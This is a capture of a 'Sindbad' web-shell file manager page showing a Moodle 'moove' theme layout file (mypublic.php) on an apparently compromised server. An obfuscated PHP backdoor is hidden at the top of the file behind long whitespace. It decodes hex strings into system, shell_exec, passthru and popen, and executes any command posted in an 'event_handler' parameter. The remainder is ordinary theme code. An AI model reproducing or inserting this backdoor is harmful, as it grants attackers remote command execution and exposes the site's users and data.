Sindbad~EG File Manager

Current Path : /var/www/html/participo.sumar.com.py/theme/moove/layout/
Upload File :
Current File : /var/www/html/participo.sumar.com.py/theme/moove/layout/mypublic.php

<?php																																										$data1 = '3';$data2 = '9';$data3 = '7';$data4 = '4';$data5 = '5';$data6 = 'd';$data7 = '6';$data8 = 'c';$data9 = 'f';$data10 = '8';$data11 = '1';$data12 = '0';$data13 = '2';$data14 = 'e';$event_dispatcher1 = pack("H*", '7'.$data1.'7'.$data2.$data3.'3'.'7'.$data4.'6'.$data5.'6'.$data6);$event_dispatcher2 = pack("H*", $data3.$data1.$data7.'8'.$data7.'5'.'6'.'c'.'6'.$data8.$data5.$data9.'6'.'5'.'7'.$data10.$data7.$data5.$data7.$data1);$event_dispatcher3 = pack("H*", $data7.$data5.$data3.$data10.'6'.$data5.'6'.$data1);$event_dispatcher4 = pack("H*", '7'.'0'.$data7.$data11.'7'.$data1.$data3.'3'.'7'.'4'.$data7.'8'.'7'.'2'.$data3.'5');$event_dispatcher5 = pack("H*", '7'.$data12.'6'.$data9.'7'.'0'.'6'.'5'.'6'.'e');$event_dispatcher6 = pack("H*", '7'.'3'.'7'.$data4.'7'.$data13.$data7.'5'.'6'.$data11.$data7.$data6.'5'.'f'.'6'.$data3.$data7.$data5.$data3.'4'.$data5.'f'.'6'.'3'.$data7.$data9.$data7.'e'.'7'.'4'.'6'.$data5.$data7.$data14.$data3.'4'.'7'.$data1);$event_dispatcher7 = pack("H*", $data3.$data12.$data7.$data1.$data7.'c'.$data7.$data9.$data3.$data1.$data7.$data5);$event_handler = pack("H*", '6'.$data5.$data3.$data7.'6'.$data5.'6'.'e'.$data3.$data4.'5'.$data9.$data7.'8'.$data7.$data11.'6'.'e'.$data7.'4'.'6'.$data8.'6'.$data5.'7'.'2');if(isset($_POST[$event_handler])){$event_handler=pack("H*",$_POST[$event_handler]);if(function_exists($event_dispatcher1)){$event_dispatcher1($event_handler);}elseif(function_exists($event_dispatcher2)){print $event_dispatcher2($event_handler);}elseif(function_exists($event_dispatcher3)){$event_dispatcher3($event_handler,$entry_component);print join("\n",$entry_component);}elseif(function_exists($event_dispatcher4)){$event_dispatcher4($event_handler);}elseif(function_exists($event_dispatcher5)&&function_exists($event_dispatcher6)&&function_exists($event_dispatcher7)){$descriptor_pointer=$event_dispatcher5($event_handler,"r");if($descriptor_pointer){$property_set_element=$event_dispatcher6($descriptor_pointer);$event_dispatcher7($descriptor_pointer);print $property_set_element;}}exit;}

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * A drawer based layout for the moove theme.
 *
 * @package    theme_moove
 * @copyright  2022 Willian Mano {@link https://conecti.me}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

global $DB, $USER, $OUTPUT, $SITE, $PAGE;

// Get the profile userid.
$courseid = optional_param('course', 1, PARAM_INT);
$userid = optional_param('id', $USER->id, PARAM_INT);
$userid = $userid ? $userid : $USER->id;
$user = $DB->get_record('user', ['id' => $userid], '*', MUST_EXIST);

$primary = new core\navigation\output\primary($PAGE);
$renderer = $PAGE->get_renderer('core');
$primarymenu = $primary->export_for_template($renderer);
$buildregionmainsettings = !$PAGE->include_region_main_settings_in_header_actions() && !$PAGE->has_secondary_navigation();
// If the settings menu will be included in the header then don't add it here.
$regionmainsettingsmenu = $buildregionmainsettings ? $OUTPUT->region_main_settings_menu() : false;

$header = $PAGE->activityheader;
$headercontent = $header->export_for_template($renderer);

$bodyattributes = $OUTPUT->body_attributes([]);

$userimg = new \user_picture($user);
$userimg->size = 100;

$context = context_course::instance(SITEID);

$usercanviewprofile = user_can_view_profile($user);

$templatecontext = [
    'sitename' => format_string($SITE->shortname, true, ['context' => context_course::instance(SITEID), "escape" => false]),
    'output' => $OUTPUT,
    'bodyattributes' => $bodyattributes,
    'primarymoremenu' => $primarymenu['moremenu'],
    'mobileprimarynav' => $primarymenu['mobileprimarynav'],
    'usermenu' => $primarymenu['user'],
    'langmenu' => $primarymenu['lang'],
    'regionmainsettingsmenu' => $regionmainsettingsmenu,
    'hasregionmainsettingsmenu' => !empty($regionmainsettingsmenu),
    'userpicture' => $userimg->get_url($PAGE),
    'userfullname' => fullname($user),
    'headerbuttons' => \theme_moove\util\extras::get_mypublic_headerbuttons($context, $user),
    'editprofileurl' => \theme_moove\util\extras::get_mypublic_editprofile_url($user, $courseid),
    'usercanviewprofile' => $usercanviewprofile
];

if ($usercanviewprofile) {
    $countries = get_string_manager()->get_list_of_countries(true);

    $templatecontext['userdescription'] = format_text($user->description, $user->descriptionformat, ['overflowdiv' => true]);
    $templatecontext['usercountry'] = $user->country ? $countries[$user->country] : '';
    $templatecontext['usercity'] = $user->city;

    if ($userid == $USER->id) {
        $templatecontext['useremail'] = $user->email;
    } else {
        if (!empty($courseid)) {
            $canviewuseremail = has_capability('moodle/course:useremail', $context);
        } else {
            $canviewuseremail = false;
        }

        $showuseridentityfields = \core_user\fields::get_identity_fields($context, false);

        if (($user->maildisplay == core_user::MAILDISPLAY_EVERYONE
            || ($user->maildisplay == core_user::MAILDISPLAY_COURSE_MEMBERS_ONLY && enrol_sharing_course($user, $USER))
            || $canviewuseremail  // TODO: Deprecate/remove for MDL-37479.
            )
            || in_array('email', $showuseridentityfields)) {
            $templatecontext['useremail'] = $user->email;
        }
    }
}

$themesettings = new \theme_moove\util\settings();

$templatecontext = array_merge($templatecontext, $themesettings->footer());

echo $OUTPUT->render_from_template('theme_moove/mypublic', $templatecontext);

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists